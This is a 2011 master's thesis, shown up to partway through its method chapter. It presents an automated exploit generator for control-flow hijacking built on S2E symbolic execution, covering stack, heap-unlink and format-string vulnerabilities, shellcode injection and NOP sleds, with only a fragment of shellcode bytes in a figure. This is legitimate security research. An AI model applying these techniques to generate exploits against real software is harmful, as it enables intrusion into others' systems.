
國立交通大學

資訊科學與工程研究所

碩 士 論 文

自動產生攔截控制流程之攻擊程式碼

Automated Exploit Generation for Control-Flow
Hijacking Attacks

研 究 生 : 黃博彥

指導教授 : 黃世昆　教授

中中中華華華民民民國國國一一一百百百年年年九九九月月月



自動產生攔截控制流程之攻擊程式碼

Automated Exploit Generation for Control-Flow
Hijacking Attacks

研 究 生 : 黃博彥 Student : Po-Yen Huang

指導教授 : 黃世昆 Advisor : Shih-Kun Huang

國 立 交 通 大 學

資 訊 科 學 與 工 程 研 究 所

碩 士 論 文

A Thesis

Submitted to Institute of Computer Science and Engineering

College of Computer Science

National Chiao Tung University

in Partial Fulfillment of the Requirements

for the Degree of

Master

in

Computer Science

September 2011

Hsinchu, Taiwan, Republic of China

中華民國一百年九月



自自自動動動產產產生生生攔攔攔截截截控控控制制制流流流程程程之之之攻攻攻擊擊擊程程程式式式碼碼碼

學生 : 黃博彥 指導教授 :黃世昆教授

國立交通大學資訊科學與工程研究所碩士班

摘摘摘要要要

由於資訊領域的快速發展與應用，各類安全威脅日趨嚴重，而這些威脅都

根源於軟體的缺陷，軟體安全性的探討因此成為重要的議題。這些議題

中，最大的威脅來自於軟體缺陷經常性地被揭露、使得駭客的攻擊事件層

出不窮，其中零日攻擊(zero-day attacks)更造成系統及經濟上的重大危害。

我們以軟體發展過程的角度分析，瞭解到安全漏洞的修補過程，是一場與

零日攻擊的時間競賽，若能儘早修補漏洞，將可大幅降低其威脅性。為了

快速掌握漏洞，我們運用在軟體測試領域中，已被廣泛研究運用、自動尋

找程式錯誤的方法。然而如何分析眾多的程式錯誤，優先尋找出安全性威

脅的漏洞，仍是一個很困難的研究領域。在此論文中，我們將轉換角色，

以攻擊者的角度來試圖產生攻擊程式碼、並將過程自動化，以此證明程式

中存在安全性漏洞。我們提出基於符號執行的軟體測試方法，實作攻擊程

式產生器，可任意攔截控制流程。此概念已實驗在多個真實的程式，證明

此方法之可行性。
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Abstract

Due to the rapid deployment of information technology, the threats on in-

formation assets are getting more serious. These threats are originated from

software vulnerabilities. The vulnerabilities bring about attacks. If attacks

launched before the public exposure of the targeted vulnerability, they are

called zero-day attacks. These attacks usually damage system and economy

seriously. We have analyzed the process of zero-day attacks in the perspec-

tive of software process and recognize that it is a race competition between

attacks and software patch development and deployment. If developers can

fix the vulnerabilities as soon as possible, the threats will be significantly

reduced. In order to faster the vulnerability finding process, we use the soft-

ware testing techniques, focusing on finding bugs automatically. However,

it is still hard to locate security vulnerabilities from a large number of bugs.

In our paper, we switch to the roles of attackers and aim at generating at-

tacks automatically to prove that a bug is a security vulnerability. Based

on symbolic execution, we are able to automatically generate exploit for

control-flow hijacking attacks and perform several experiments with real-

world programs to prove our method is feasible.
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Chapter 1

Introduction

Software security is an important issue in computer security field. It is due to that the software

vulnerability has been the root of a variety of computer security threats. The threats are mostly

induced by misuse of syntax or carelessness of logic during software development. With the

inherent vulnerabilities, attackers can reason out an “exploit”, which is a crafted program in-

put and can result in arbitrary program execution of malicious code, to intrude into computer

systems and cause system damage.

On the other hand, exploits are very good test cases for software developers. In order to fix

a large number of bugs, programmers have to set priority for bugs according to the degree of

security threats. However, there are currently few effective ways to identify bugs as security

vulnerabilities. Exploit generation is a possible way to prove a bug exploitable. Moreover,

exploits can help programmers fix vulnerabilities quicker by reproducing the attack behavior.

1.1 Motivation

Manual exploit generation is a difficult and time-consuming process because it requires not only

the related low-level knowledge of computer systems, such as operating system internals and

assembly language, but also analyzes the control and data flow of program execution by hand. If

the program under test is large or uses complex algorithms, the analysis work will be extremely

difficult.

In software testing filed, many research and techniques aim to find bugs[1, 2] in a program

and generate test cases[3] to trigger those bugs. However, those test cases are meaningless and

1



only to cause the program to crash. On the other hand, the techniques of attack skills and exploit

designs are multifarious, but the exploit is still very difficult to be generated manually. For this

reason, this thesis tries to bridge the gap between bug finding and exploit techniques and to

generate exploit automatically.

1.2 Objective

We have observed that many applications will crash by feeding a certain unexpected data. A

program crashes means that control flow of the program execution is changed to invalid execu-

tion paths, and the program is very likely exploitable. In a program, many data may influence

control flow of program execution, such as return address of functions, and Global Offset Ta-

ble (GOT). If these sensitive data are corrupted, the intended attackers can hijack the program

control. However, in most of the cases, these control sensitive data cannot be touched in normal

behavior of program execution. The challenge in this thesis is to generate inputs to corrupt these

control sensitive data through vulnerabilities so that the program will execute in invalid control

flow.

The purpose of this work is that given a program with potential security bugs and a shell-

code, we are able to find an execution path that includes a data flow to taint control sensitive

data, and generate a test case that could hijack control flow and jump to the shell-code.

1.3 Overview

The structure of this thesis is shown as follows. Chapter 2 describes the backgrounds of software

testing and vulnerability, along with an introduction to related work. Chapter 3 and 4 explain

our method and implementation. Chapter 5 shows the experimental results. Finally, Chapter 6

concludes our thesis, with further work.

2



Chapter 2

Background

The techniques of software testing are very various. Static analysis can handle large-scale

programs because it just scans source code without executing the programs, but false positives

often happen in static analysis, i.e. less precise. Dynamic analysis executes the programs under

test to find the explicit bugs, but it is often slow than static analysis. In this chapter, three

popular techniques of software testing are introduced, and compared their differences.

On the other hand, the types of software vulnerabilities are also various, such as buffer over-

flow, command injection, and race condition. Control-flow hijacking vulnerabilities are main

targets in this thesis, and five common vulnerabilities to be experimented are explained in follow

related sections. In the final section, we describe the related work about symbolic execution,

which is the main used technique of software testing in this thesis, and exploit generation.

2.1 Software Testing

2.1.1 Fuzz Testing

Fuzz testing is a common technique of software testing, which provides random or unexpected

data as input to crash a program or to trigger assertions. Fuzz testing often treats the program

under test as a black box, and cooperates with a Fuzzer1, which is a kind of testing tools that

will generate data, to repeatedly feed the program with random input. Fuzz testing is fast and

precise because programs are concretely executed, but path coverage is probably low because

the input are generated randomly. Considering line 12 in Listing 1, the chances of random input
1For example, zzuf (http://caca.zoy.org/wiki/zzuf) is a transparent application input fuzzer aiming to

find bugs in applications.

3
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to take true branch at condition statement i f (x == 2011) is 1
232 if x is 32 bits. Fuzz testing is

likely to spend much time to wildly explore the paths. Consequently, fuzz testing is inefficient

for covering all paths of programs, but is good at getting some input to crash programs.

2.1.2 Symbolic Execution

Symbolic execution[4, 5, 6] is a popular technique of software testing. In contrast with concrete

execution that treats the program under test as a black box and find next new path without any

information, symbolic execution attempts to explore all paths in the program more systemati-

cally by transforming the path feasibility problem into boolean satisfiability problem.

The main idea of symbolic execution is to replace variables controlled by external environ-

ments with symbolic values rather than actual data. The value range of those variables repre-

sented by symbolic expressions is unlimited, i.e. any value, when the program runs initially.

With program execution, those symbolic variables will taint other non-symbolic variables, and

its value will be gradually restricted.

A path condition is a quantifier-free boolean formula, and its satisfiability could be validated

by constraint solvers, a kind of solver for Satisfiability Modulo Theories (SMT) problem. The

path condition represents the control flow of program execution and its value is true initially.

Whenever program execution encounters branches that associate with symbolic variables, the

symbolic execution forks a new execution with different path conditions, i.e. different restric-

tions for the symbolic value. On true branch, the branch condition is added to the path condition,

otherwise the negation of the branch condition is used. Each of two updated path conditions

will be passed to a constraint solver to determine whether the path condition is satisfiable or not.

If the path condition is not satisfiable, the path will be dropped because it is infeasible. When

a program execution terminates, the path condition can be solved by a constraint solver to get a

test case that will traverse same path.

Consider the example code in Listing 1, variable x is replaced with a symbol X when the

program starts running. At line 5, the execution is forked, one’s constraint is X ≥ 0 and another

is X < 0. The concrete variable y is tainted by symbolic variable x at line 10, so variable y

becomes symbolic and its value is X +100. At line 12, the execution is forked again because

variable y is symbolic. An execution is added a constraint X = 2011 and another is added

X 6= 2011. The path whose path constraint is (X < 0)∧ (X = 2011) is dropped because it is
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infeasible. Finally, when symbolic execution has explored all three paths, each path condition

is passed to a constraint solver to get a solution taking each path respectively. The process of

symbolic execution is shown in Figure 1.

Listing 1: An example code for software testing

1 void t e s t ( i n t x )
2 {
3 i n t y = 0 ;
4
5 i f ( x >= 0)
6 p r i n t f ( ” x i s g r e a t e r t h a n or e q u a l t o 0 .\ n ” ) ;
7 e l s e
8 p r i n t f ( ” x i s l e s s t h a n 0 .\ n ” ) ;
9

10 y = x + 100 ;
11
12 i f ( y == 2011)
13 p r i n t f ( ” y i s e q u a l t o 2011 .\ n ” ) ;
14 e l s e
15 p r i n t f ( ” y i s n o t e q u a l t o 2011 .\ n ” ) ;
16 }

x : X 

PC : true 

x : X 

PC : X ≥ 0 

x : X 

PC : X < 0 

x : X  y : X+100 

PC : (X ≥ 0) ∧ (X+100 = 2011) 

x : X  y : X+100 

PC : (X ≥ 0) ∧ (X+100 ≠ 2011) 

x : X  y : X+100 

PC : (X < 0) ∧ (X+100 = 2011) 

x : X  y : X+100 

PC : (X < 0) ∧ (X+100 ≠ 2011) 

Infeasible! 

Figure 1: The symbolic execution tree of Listing 1

2.1.3 Concolic Testing

In practice, symbolic execution is usually infeasible for large programs because of path explo-

sion problem. The number of paths is growing exponentially in proportion to the number of
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branches, and if a program contains infinite loops, such as GUI applications, the number of

paths will approach infinite. Currently, many research efforts focus on these issues, including

using path selection heuristics to quicker find desired paths, using static analysis to prune off

the useless parts of search space, etc.

Concolic testing is a strategy combining the accuracy of concrete execution and the sys-

tematic capacity of symbolic execution. Concolic testing executes the program under test con-

cretely and symbolically, and explores only one path at a time. Concolic testing first executes

the program under test with concrete random input, and symbolic execution is used to collect

the branch conditions. Whenever a path terminates and gets a final path condition, concolic

testing negates the end condition of the whole path condition to generate the next test case that

will explore a new next path followed by depth-first search.

Consider the code in Listing 1, for example, the random concrete value of variable x is 0

initially, and concolic testing explores the path whose path condition is (X ≥ 0)∧ (X 6= 2011).

For exploring a new next path, concolic testing inverts the end constraint X 6= 2011 and then

passes the changed path condition (X ≥ 0)∧¬(X 6= 2011) to a constraint solver to get a new

test case, e.g. x = 2011, and explore other new paths. The process of concolic testing is shown

in Figure 2.

x : X 

PC : true 

x : X 

PC : X ≥ 0 

x : X  y : X+100 

PC : (X ≥ 0) ∧ (X+100 ≠ 2011) 
x = 0 

x : X 

PC : true 

x : X 

PC : X ≥ 0 

x : X  y : X+100 

PC : (X ≥ 0) ∧ (X+100 ≠ 2011) 
x = 1911 

x : X 

PC : true 

x : X 

PC : X ≥ 0 

x : X  y : X+100 

PC : (X < 0) ∧ (X+100 ≠ 2011) 
x = -1 

Query : (X ≥ 0) ∧ ¬ (X+100 ≠ 2011) 

Query : ¬ (X >= 0) 

Query : (X < 0) ∧ ¬ (X+100 ≠ 2011) Infeasible! 

1.   

2.   

3.   

Figure 2: The process of concolic testing on Listing 1

In addition to handling path explosion problem, concolic testing addresses what symbolic

execution gets stuck in some constraints, e.g. (X = Y ∗Y ∗Y ), because constraint solvers have
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trouble with non-linear constraints. Concolic testing can replace variable Y with concrete value,

e.g. Y is 2, and the constraint is simplified to X = 8.

2.2 Software Security

2.2.1 Vulnerability and Exploit

Some bugs may not be threats for system security consideration, and those only cause the pro-

gram crash with wrong output purely when unexpected input data passed to the programs. In

other words, those are not exploitable. If a bug is exploitable, which is called vulnerability,

attackers can make a program with the vulnerability perform malicious behavior and damage

computer security. Unexpected test cases may trigger the vulnerability and lead a program to

crash, but a crafted test case can avoid a program to crash and hijack control of programs to

perform malicious tasks. The crafted test case is called Exploit, which is a well-designated data

and reasoned out carefully by attackers. The attackers will take advantage of vulnerabilities

to redirect program flow to malicious actions. The relation between exploits and input space is

shown in Figure 3. Exploits often contain a piece of binary code as the payload called Shellcode

performing malicious tasks. The behavior of shellcode is usually to open a new command shell,

and it could be manually generated or by some tools, such as Metasploit2.

Unsafe input 

Exploits 

Safe input 

Input space 

Figure 3: The relationship between exploits and input space

2.2.2 CPU Architecture and Operating System

Because exploits depend on CPU architectures and operating systems, our work is aimed at

32-bit x86 architecture and Linux system. Intel x86 architecture is the most popular CPU for
2Metasploit (http://www.metasploit.com/) is a framework for developing and executing exploit code.
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Personal Computer. The design of x86 is little-endian and CISC (Complex Instruction Set

Computer). The main related registers may hijack control of programs are shown as follows:

• EIP register – Points to the next instruction to be executed.

• ESP register – Points to the top of stack. Because the return address is stored in stack

when calling a function, ESP may influence EIP register indirectly.

• EBP register – Points to the location of current stack frame. Because EBP is used to

update ESP when functions return, EBP may influence ESP and EIP register indirectly.

In Linux system, the widely used executable format is ELF (Executable and Linking For-

mat). The memory layout of ELF executable at rum-time is shown in Figure 4. The binary is

loaded at memory address 0x0804800, and stack starts at 0xbfffffff and grow downward.

In addition, the compiler is also an important role for exploit generation. Different compilers

with different versions may have different policies to generate binary code, such as variable

alignment, the order of variable allocation, and the order of parameter pushing. In our work,

GCC (GNU Compiler Collection) is the default compiler.

0xC0000000 

0x08084000 

Kernel space 

0xFFFFFFFF 

Stack 

0x00000000 
Reserved 

0x40000000 

Heap 

Dynamic libraries 

Text segment 

Data segment 

Figure 4: Memory layout in Linux

Local variables 

Old EBP 

Return address 

Arguments 

ESP 

EBP 

Current frame 

Previous frame 

Figure 5: The layout of stack frame

2.2.2.1 Stack and Heap

Stack is an important memory region and structure for function calls. The structure of stack

is LIFO (Last In, First Out) and the layout of stack frame is shown in Figure 5. On calling a
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function, the caller pushes its parameters and return address into stack, and then jumps to the

target function. Next, the callee pushes the value of EBP register into stack and allocates the

space for local variables. Because the return address is pushed into stack, control flow will be

hijacked by restoring the corrupted return address to EIP register when function returns. Listing

2 and 3 show the prologue and epilogue in x86 assembly.

Listing 2: Function prologue

1 push %ebp
2 mov %esp , %ebp
3 sub $0x8 , %esp

Listing 3: Function epilogue

1 l e a v e ; mov %ebp , %esp
2 ; pop %ebp
3 r e t ; pop %e i p

Heap is another memory region and allocated dynamically. For example, malloc() function

in C is used to get a chunk in heap. In Linux, Glibc implements dlmalloc allocator to manage

heap. A chunk allocated in heap is an 8-byte aligned data structure, and contains a header

structure and free space. The header stores the information about the size of the previous and

current chunk, and the least significant bit of size element, PREV INUSE flag, specifies whether

the previous chunk is in use. Figure 6 shows the two adjacent allocated chunks.

Prev_size 

Size 

Data 

Prev_size 

Size 

Data 

1 PREV_INUSE flag 

Low address 

High address 

First chunk 

Second chunk 

Figure 6: Heap layout in Linux

prev_size 

Size 

Unused 

Prev_size 

Size 

Data 

0 

Low address 

High address 

BK 

FD 

Previous free chunk 

Next free chunk 

Figure 7: Heap layout after a chunk is free

When a chunk is deallocated, allocator checks whether the adjacent chunks are free. If the

adjacent chunk is free, it is merged into a new big free chunk. All free chunks are stored in a

doubly-linked list, each free chunk contains a forward pointer pointing to the next free chunk
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and a backward pointer pointing to the previous free chunk. Both pointers are stored in the

unused chunk itself. Figure 7 shows the layout after freeing the first chunk.

2.2.3 Software Vulnerabilities

2.2.3.1 Stack Buffer Overflow

Stack buffer overflow is a common vulnerability and usually caused by unsafe functions, such

as strcpy() and gets(). As mentioned in Section 2.2.2.1, the return address of functions is stored

in the stack frame, and restored to EIP register when functions return. If the length of source

input is not checked, stack smashing will happen by feeding a long input over the boundary of

the destination local buffer. The corrupted return address will cause control flow hijacked when

the function returns.

2.2.3.2 Off-by-one Overflow

Off-by-one error is also a common bug and arises from an error boundary condition. If EBP

register or a pointer variable is overwritten, it will be exploitable. Because EBP register will

update ESP register when the function returns, and the corrupted pointer may write data to

arbitrary locations, both cases could influence control flow indirectly.

2.2.3.3 Heap Buffer Overflow

As noted in Section 2.2.2.1, a chunk will try to merge adjacent free chunks when it is deallo-

cated. Listing 4 defines the behavior for updating the fd and bk pointer to merge chunks. If a

heap buffer overflow vulnerability occurs, attackers can overwrite the header of next chunk to

fake the size and the value of both pointers. When the current chunk is deallocated, the allocator

will try to merge with next chunk and the unlink operation will cause arbitrary write of 4-byte

data by attackers to arbitrary memory addresses.

2.2.3.4 Uninitialized Variable

As shown in Listing 2 and 3, the epilogue of function just moves ESP register to deallocate

local variables when functions return, and the prologue increases the size of the local variables

to ESP register when calling a function. If a local variable without initialization is used, its

value will reuse the value left by the previous function invocation. Figure 8 shows an example,
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Listing 4: The macro of unlink operation

1 # d e f i n e u n l i n k ( P , BK, FD) {
2 FD = P−>fd ;
3 BK = P−>bk ;
4 FD−>bk = BK;
5 BK−>fd = FD ;
6 }

when invoking two function a() and b() sequentially, the stack frame of the last function will

reuse the overlapping space with the previous functions. Therefore, if the previous variable can

be controlled, the current variable can also be controlled via this vulnerability.

Previous frame 

A() 

Previous frame 

B() 

Current frame Current frame 

ESP 

ESP 

ESP 

ESP 

A() B() Return 

Figure 8: The example process of uninitialized variable vulnerability

2.2.3.5 Format String

If some C functions that perform formatting output, such as printf(), use unchecked input as the

format string parameter, attackers can use some format tokens, such as %x, %s, and %n, to print

the information in stack or write data to arbitrary memory addresses. When format tokens are

encountered in a format string, the program expects that the data are retrieved from the stack.

But if the input is not provided in function arguments, the program will read from or write to

wrong addresses in the stack. The %n format token writes the number of characters output in

front of itself to the location provided in arguments, and attackers can use %n format token to

write arbitrary value to arbitrary address.
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2.2.4 Protection Mechanisms

To prevent from attacks, many protection mechanisms have been proposed and applied in some

compilers or operating systems. Those methods aim to increase the difficulties of successful

attacks. The main mechanisms are listed below:

• ASLR (Address Space Layout Randomisation)

– ASLR randomizes the locations of memory regions, so that attacks won’t work be-

cause the address of shellcode is random and unexpected. In Linux, ASLR random-

izes Stack, Heap, and share library, but not for the program image.

• W⊕X (Writable ⊕ eXecutable)

– W⊕X sets a memory region either writable or executable. Exploits usually contain

shellcode as payload, but W⊕X stops the shellcode from being “executed” because

the exploit must be “written” to memory.

• Stack Hardening

– In order to protect stack against buffer overflow attacks, compilers have imple-

mented some techniques to defend return addresses from corruption. In GCC com-

piler, StackGuard inserts a “canary” in front of return addresses and checks whether

the value is changed when functions return. In addition, Stackshield copies away

return addresses to a non-overflowable area, and restores it when functions return.

• Heap Hardening

– To protect heap from smashing, heap consistency checking has implemented to

check whether the metedata, which records the information about neighbouring

chunks, is corrupted or not, whenever a heap block is freed. For example, some

security checks are implemented to exclude infeasible sizes in metadata since ver-

sion 2.3.4 of Glibc.

In addition, many safe functions are provided for programmers to avoid using unsafe func-

tions. For example, strcpy() function is very dangerous because of buffer smashing, and strncpy()

function is the safe version of strcpy() function that copies a string with bound checking.
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2.3 Related Work

2.3.1 Symbolic Execution and Constraint Solving

Symbolic execution is a popular software testing technique, and has been applied on many

dynamic symbolic execution tools. DART[7] combines symbolic execution with concrete exe-

cution, and uses the concrete value to simplify constraints whenever symbolic execution is stuck

on them. CUTE[8] deals with multi-thread and pointer programs. SAGE[9] and Pex are devel-

oped by Microsoft and SAGE is the first tool that implements Whitebox fuzzing. Catchconv[10]

is built on Valgrind[11], which is an instrumentation framework for building dynamic analysis

tools, and also implements Whitebox fuzzing. KLEE[12] is a redesign of EXE[13], and is built

on LLVM compiler infrastructure[14]. KLEE deals with the interactions with outside environ-

ments, and uses many search heuristics and constraint optimizations to get high code coverage.

In addition, many research efforts improve the limitation of symbolic execution, such as path

explosion. SPD[15] uses control and data dependencies to avoid analyzing unnecessary paths,

and RWset[16] analyzes tracks of all reads and writes to discard redundant paths. IPEG[17]

finds the unsatisfiable core from one infeasible path to prune a family of infeasible paths. Many

heuristics searches[18] are also used to find a path efficiently.

SMT solvers play an important role in symbolic execution for solving constraints. STP[19],

CVC3[20], Yices[21] and Z3[22] are the most used solvers for dynamic symbolic execution

tools. Complex or a large number of constraints are another bottleneck of symbolic execution.

HAMPI[23] helps STP generate structured test cases. Stitched dynamic symbolic execution[24]

uses decomposition and re-stitching to bypass complex functions like decryptions and check-

sum verifications. Cloud9[25, 26] parallelizes symbolic execution to large clusters and aims to

speed up constraint solving.

2.3.2 Exploit Generation

APEG (automatic patch-based exploit generation)[27] compares the differences between a buggy

version program and a patched version, and generates the exploits to fail the added check in the

patched version program. This work needs a patched version program and only feasible when

the patch is to fix by adding input sanitization logic. In addition, the exploits generated by
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APEG almost are DoS (Denial-Of-Service) attacks, which just crash a program, without exe-

cuting shellcode or malicious tasks.

AEG (automatic exploit generation)[28] generates exploits by two stages, which are finding

bugs on symbolic execution and collecting run-time information on concrete execution. AEG

only deals with stack buffer overflow and format string vulnerability because it has to add

individual safety check constraints to detect each bug. AEG implements an end-to-end approach

for exploit generation, including symbolic files, symbolic sockets, etc., and uses return oriented

programming to bypass both W⊕X and ASLR[29].

Heelan et al. [30] use binary instrumentation to perform taint propagation and collect run-

time information. Their work generates exploits by checking whether EIP register is corrupted

by a tainted value, and also handles pointer corruption that corrupt EIP register indirectly. But,

a crashing input is essential for taint analysis in their work because symbolic execution doesn’t

be implemented.

In addition, some work don’t generate exploits explicitly, but aim to report a bug is probably

exploitable. For example, !exploitable3 and some projects[31] of BitBlaze analyze a crash and

determine whether it is exploitable or not.

3!exploitable crash analyzer(http://msecdbg.codeplex.com/) is developed by Microsoft, and provides au-
tomated crash analysis and security risk assessment.
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Chapter 3

Method

AEG is the most similar work with ours for automated exploit generation at present. We explain

the weakness of AEG and take an example code to show the case in this chapter. In order to

overcome the weakness of AEG, we propose a new exploit generation that can handle more

cases than AEG. In addition, we introduce the tool that we use to implement our method, and

compare it with the tool that AEG uses.

In addition to exploit generation, we implement some path selection optimizations on S2E

to speed up the process of exploit generation. Concolic-mode simulation explores one poten-

tial vulnerable path directly, and code selection filters some complex and uninteresting library

functions that are not affect exploit generation to reduce the overhead of SMT solvers.

3.1 The Weakness of AEG

Similar to our work, AEG detects vulnerabilities by symbolic execution and then collects run-

time information from concrete execution with the test case generated by the previous step.

AEG collects run-time information and computes exploits when vulnerability is triggered. The

generated exploit may fail to work, due to the propagation distance between the vulnerable site

and the triggered exploit site. AEG cannot guarantee that the program under test arrives at the

triggered exploit site successfully if the exploits are not revised accordingly. Consider Listing

5, the buffer overflow vulnerability happens at line 4 where strcpy() function is located, but the

exploit is triggered at line 6 where the function returns. Between line 4 and line 6, the exploiting

string is reversed at line 5 and fails to work when the function returns. The process is shown in

Figure 9.
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Listing 5: An example code for AEG

1 void t e s t ( char s r c [ 3 0 ] )
2 {
3 char des [ 1 0 ] ;
4 s t r c p y ( des , s r c ) ; /∗ b u f f e r o v e r f l o w v u l n e r a b i l i t y ∗ /
5 r e v e r s e ( des ) ;
6 } /∗ c o n t r o l f l o w i s h i j a c k e d ∗ /

Des[0] 

Des[9] 

… 

Old EBP 

Return address 

Src 

… 

Des[0] 

Des[9] 

… 

Old EBP 

Return address 

Src 

… 

Src[10] 

Src[0] 

Src[15] 

reverse() 

strcpy() function return 

Src[19] 

Src[15] 

Src[0] 

Figure 9: The memory layout before and after reverse() is executed

3.2 The Used Tool and Intuitive Idea

S2E[32] is a platform that consists of QEMU[33] and KLEE for extending scale of symbolic ex-

ecution ranging from applications to the whole operation system. KLEE is a symbolic execution

engine built on LLVM compiler infrastructure. It interprets and performs symbolic execution

on LLVM intermediate representation code, which is called bitcode. QEMU is a processor em-

ulator using Dynamic binary translation to translate instructions between two different CPU

architectures. S2E adds a new LLVM back-end[34] to QEMU so that KLEE has the ability to

perform symbolic execution on the whole system.

S2E implements selective symbolic execution[35] to run as much code natively as possible.

It switches from concrete to symbolic execution whenever S2E accesses symbolic data. This
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technique enables S2E to speed up symbolic execution on real systems. The architecture of S2E

is shown in Figure 10.

X86 
Instructions 

(32-bit) 

TCG IRs 

LLVM IRs 
(bitcode) 

X86 
Instructions 

(64-bit) 

KLEE 
(Symbolic execution) 

CPU 
(Concrete execution) 

QEMU 

Figure 10: The architecture of S2E

The differences between KLEE and S2E are shown in Table 1. The most important advan-

tage of S2E for exploit generation is the low-level and real run-time information, including value

of registers, contents of memory, etc. This feature is useful for reasoning out precise exploits.

Table 1: The differences between KLEE and S2E

Tool Scale Run-time Information Programs under Test

KLEE application abstract source code
S2E operating system real binary(x86)

Considering Listing 6, it seems that a buffer overflow vulnerability happens at line 5 because

the length of source string is longer than destination length on strcpy() function, and the num

variable may be corrupted to cause that the if branch at line 7 can be controlled. In fact, when

GCC compiler compiles this program with optimization, the order of variables are rearranged

and the location of num variable is in front of des variable. Therefore, the num variable cannot

be touched so that the branch condition in the if statement at line 7 is always false. For this

reason, the real run-time information are critical for exploit generation.

In addition to real run-time information, other features show that S2E is a good platform

for exploit generation. For example, S2E can perform symbolic execution on a whole operating
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Listing 6: An example code for rearranging variables

1 i n t num = 0 ;
2 char d s t [ 2 ] ;
3 char s r c [ 6 ] ;
4
5 s c r c p y ( d s t , s r c ) ;
6
7 i f ( num != 0)
8 {
9 a s s e r t ( num != 0 ) ; / / GOAL!

10 }

system to generate exploits for vulnerabilities in library or kernel, and can operate directly on

binaries to make exploit generation more useful for real-world programs. Therefore, we choose

S2E to implement automated exploit generation, and to evaluate the results.

S2E emulates the whole operation system so that the run-time information and events can

be monitored during program execution. The intuitive idea is to reason out exploits when the

exploit is being triggered. Because this idea improves the shortcomings of AEG and guarantees

exploits to work. But it will be treated in different ways for different vulnerabilities when the

exploit is triggered. For example, stack buffer overflow triggers exploits when functions return,

i.e. the ret instruction, but heap buffer overflow may corrupt Global Offset Table (GOT) to

redirect the library function invocation and it triggers exploits when calling functions, i.e. the

call instruction. Therefore, based on the intuitive idea, a general method is needed to handle

different kinds of vulnerabilities.

3.3 Our Method

3.3.1 EIP Register Corrupted Detection

Monitoring the state of EIP register is the most comprehensive and easy method for dealing

with different kinds of control-flow hijacking vulnerabilities, because the common final target

of all control hijacking attacks is to control EIP register, which contains the address of next

instruction to be executed. If EIP register is corrupted by symbolic data, it means that control

flow can be hijacked by program input. Therefore, during symbolic execution explores paths

and taints memory, the exploit generation will be started when EIP register is updated with
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a symbolic data. The exploit generation will search memory to find usable memory regions

to inject shellcode and NOP sled, and redirect EIP register to shellcode. The process of EIP

register corrupted detection and exploit generation is shown in Figure 11.

Shellcode 

NOP sled 

EIP register 

Build exploit constraints Symbolic execution 

Memory 

Constraint 
solver 

Satisfiable Unsatisfiable 

Reason out an exploit 

EIP is corrupted ! 

Check the  satisfiability 

Search for symbolic regions 

\x90\x90\x
90\x90\x31
\xc0\x89… 

Figure 11: The process of our exploit generation

3.3.2 Exploit Generation

3.3.2.1 Shellcode Injection

For shellcode injection, the first thing is to find all memory blocks tainted by user input and

large enough to hold payload. Even if a tainted block consists of many different variables, it

still could be used to inject shellcode as long as the block is contiguous. It is very difficult to

analyze source code manually to find a contiguous memory region tainted by user input and

combined with variables. In addition, compiler often changes the order or allocation size of

variables for optimization, and makes it more difficult to find a shellcode buffer manually.

The main regions data stored in memory are stack, heap and data segment. The distinctions

among them are shown in Table 2. The data segment is the best region for shellcode injection

because its address is decided at compile time, i.e. it is unaffected by ASLR. Stack and heap

both are affected by ASLR, but the heap is more suitable than stack for shellcode injection.

The primary reason is that there are more protections for stack than for heap, and the second

is that the stack stores not only local variables but also other sensitive data for exploitation,

such as environment variables. The locations of some variables in stack may differ on different
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systems. Therefore, the search order for shellcode injection is followed by data segment, heap,

and finally stack.

Table 2: The differences among Stack, Heap, and Data segment

Region Data ASLR

Stack local variables yes
Heap dynamically allocated variables yes
Date segment static or global variables no

3.3.2.2 Nop Sled and Exploit Generation

When the location of shellcode has determined, NOP sled will try to insert a sequence of NOP

instructions, which do nothings, in front of shellcod closely as many as possible. This padding

helps exploits against the inaccurate position of shellcode among different systems, or to extend

the entry point of shellocde. Finally, the symbolic data corrupted EIP register will point to the

middle of NOP padding. All exploit constraints, including shellcode, NOP sled, and EIP register

constraints, are passed to an SMT solver with path conditions to determine whether the exploit

is feasible or not. If it is not feasible, the exploit generation goes back to the step of shellocde

injection to change the location of shellcode until success or no more usable buffers in memory.

3.3.3 Pointer Corrupted Detection

In addition to EIP register, corrupted pointers may change the control flow indirectly. Particu-

larly, a corrupted data is assigned to a corrupted pointer means that arbitrary data can be wrote

to arbitrary addresses. When a corrupted pointer dereference is detected, the target of writing

operation will be redirected to sensitive data, such as return addresses, .dtors section, and GOT,

to taint EIP register indirectly. Otherwise, if the pointer operation is a reading operation or a

writing operation but cannot point to sensitive data, the target is redirected to read from a sym-

bolic data or write to a concrete data to perform tainted data propagation. Consider Listing 7,

off-by-one overflow vulnerability will corrupt ptr pointer and cause the value of buf[0] may

write to arbitrary addresses. Even if this vulnerability cannot corrupt return addresses directly,

the symbolic pointer can taint EIP register indirectly and hijack control of the program.
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Listing 7: An example code for pointer corruption

1 void t e s t ( i n t ∗ i n p u t )
2 {
3 i n t ∗ p t r = a r r a y ;
4 i n t a r r a y [ 1 0 ] ;
5 i n t i ;
6
7 f o r ( i =0 ; i <=10 ; i ++)
8 a r r a y [ i ] = ∗ ( i n p u t + i ) ;
9

10 ∗ p t r = a r r a y [ 0 ] ;
11 }

3.4 Path Selection

3.4.1 Concolic-mode Simulation

If an input data crashes a program, the execution path the crash input exploring is very likely

exploitable. Exploring the suspicious path directly is more effective than searching all paths.

Concolic testing is a kind of symbolic execution, and it explores one path at a time. Concolic

testing stores and updates concrete values and symbolic expressions simultaneously. It uses the

concrete values to help symbolic execution to determine which branch path will be explored,

and uses the symbolic expressions to collect the branch conditions whenever a path is deter-

mined to travel at branches.

In contrast with implementing concolic testing on S2E, simulating the behavior of consolic

testing on S2E is an easier and flexible method. Whenever a branch is encountered, S2E does

not access the concrete value of variables but add input constraints to limit the values of all

symbolic variables to the values of original input, which are constants. Figure 12 shows an

example that executes the program under test with an argument string “ABCDEF” and the input

constraints are built to restrict those values of the argument. Because each symbolic variable

could be only one possible value after adding the input constraints, it simulates the concrete

values to choose one path to explore. This method does not modify the memory model of S2E

and based on symbolic execution to provide the ability of concolic testing.

Concolic-mode simulation determines whether a path is exploitable rapidly because it fo-

cuses on only one path. To cooperate with Fuzzer tools on getting an input crashing the program
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Input constraints 

(Eq 65 (Read w8 0 argv)) 
(Eq 66 (Read w8 1 argv)) 
(Eq 67 (Read w8 2 argv)) 
(Eq 68 (Read w8 3 argv)) 
(Eq 69 (Read w8 4 argv)) 
(Eq 70 (Read w8 5 argv)) 

sqlab@ ~$ ./a.out ABCDEF 

Figure 12: An example for input constraints

under test automatically, it is a very powerful technique to generate exploits. The process is

shown in Figure 13.

